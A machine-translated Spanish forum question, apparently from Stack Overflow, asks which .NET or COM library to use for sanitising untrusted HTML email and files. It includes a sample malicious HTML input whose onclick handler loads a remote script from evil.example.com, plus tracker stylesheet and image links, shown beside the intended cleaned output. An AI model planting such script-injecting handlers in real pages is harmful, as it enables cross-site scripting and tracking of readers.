Este es un problema común, espero que haya sido completamente resuelto para mí.¿Qué puedo usar para desinfectar el HTML recibido mientras conserva el formato básico?
En un sistema que estoy haciendo para un cliente, queremos aceptar HTML de fuentes no confiables (correo electrónico con formato HTML y también archivos HTML), desinfectarlo para que no tenga scripts, enlaces a recursos externos, y otra seguridad/etc. cuestiones; y luego mostrarlo de forma segura sin perder el formato básico. Por ejemplo, como un cliente de correo electrónico haría con el correo electrónico con formato HTML, pero idealmente sin repetir los 347,821 errores que se han cometido (hasta ahora) en ese campo. :-)
El objetivo es acabar con algo que se sentiría cómodo que muestra a los usuarios internos a través de un iframe
en nuestra propia interfaz web, oa través de la WebBrowser class en un .Net Windows Forms aplicación (que parece que no hay más seguro, posiblemente menos), etc. Ejemplo a continuación.
Reconocemos que algo de esto bien puede ensuciar la visualización del texto; esta bien.
Vamos a sanitización del HTML en la recepción y almacenamiento de la versión aséptica (no se preocupe por la parte de almacenamiento inyección SQL — y similares — tenemos esa parte cubierta).
El software deberá ejecutarse en Windows Server. COM DLL o ensamblado de .Net preferido. FOSS marcadamente preferido, pero no rompe el trato.
Lo que he encontrado hasta ahora:
- El AntiSamy.Net project(pero parece no longer be under active development, siendo más de un año detrás de la principal — y activa AntiSamy Java project —).
- Some code de nuestro propio Jeff Atwood, hace alrededor de tres años (bueno, me pregunto qué estaba haciendo ...).
- El HTML Agility Pack(utilizado por el proyecto AntiSamy.Net anterior), que me daría un analizador robusto; entonces podría implementar mi propia lógica para recorrer el DOM resultante y filtrar todo lo que no incluí en la lista blanca. El paquete de agilidad se ve muy bien, pero estaría confiando en mi propia lista blanca en lugar de reutilizar una rueda que alguien ya ha inventado, así que eso es un desafío.
- El Microsoft Anti-XSS library
¿Qué recomendaría para esta tarea? Uno de los anteriores? ¿Algo más?
Por ejemplo, queremos eliminar cosas como:
script
elementoslink
,img
, y esos elementos que llegan a los recursos externos (probablemente reemplaceimg
con el texto "[ imagen eliminada] "o algo así)embed
,object
,applet
,audio
,video
, y otras etiquetas que intentan crear objetosonclick
y código script de controlador de eventos DOM0 similareshref
s ena
elementos que desencadenan código (incluso enlaces, creemos que están bien bien podemos convertir en texto plano que los usuarios tienen que intencionalmente copiar y pegar en un navegador).- __________ (las 722 cosas que no he pensado que son la razón por la que estoy buscando para aprovechar algo que ya existe)
Así, por ejemplo, este código HTML:
<!DOCTYPE html>
<html>
<head>
<title>Example</title>
<link rel="stylesheet" type="text/css" href="http://evil.example.com/tracker.css">
</head>
<body>
<p onclick="(function() { var s = document.createElement('script'); s.src = 'http://evil.example.com/scriptattack.js'; document.body.appendChild(s);)();">
<strong>Hi there!</strong> Here's my nefarious tracker image:
<img src='http://evil.example.com/xparent.gif'>
</p>
</body>
</html>
se convertiría en
<!DOCTYPE html>
<html>
<head>
<title>Example</title>
</head>
<body>
<p>
<strong>Hi there!</strong> Here's my nefarious tracker image:
[image removed]
</p>
</body>
</html>
(Nota hemos eliminado el link
y la onclick
por completo, y reemplazó el img
con un marcador de posición. Esto es solo un pequeño subconjunto de lo que creemos que tendremos que eliminar.)
Buena pregunta. El análisis manual sería una pesadilla. – Dutchie432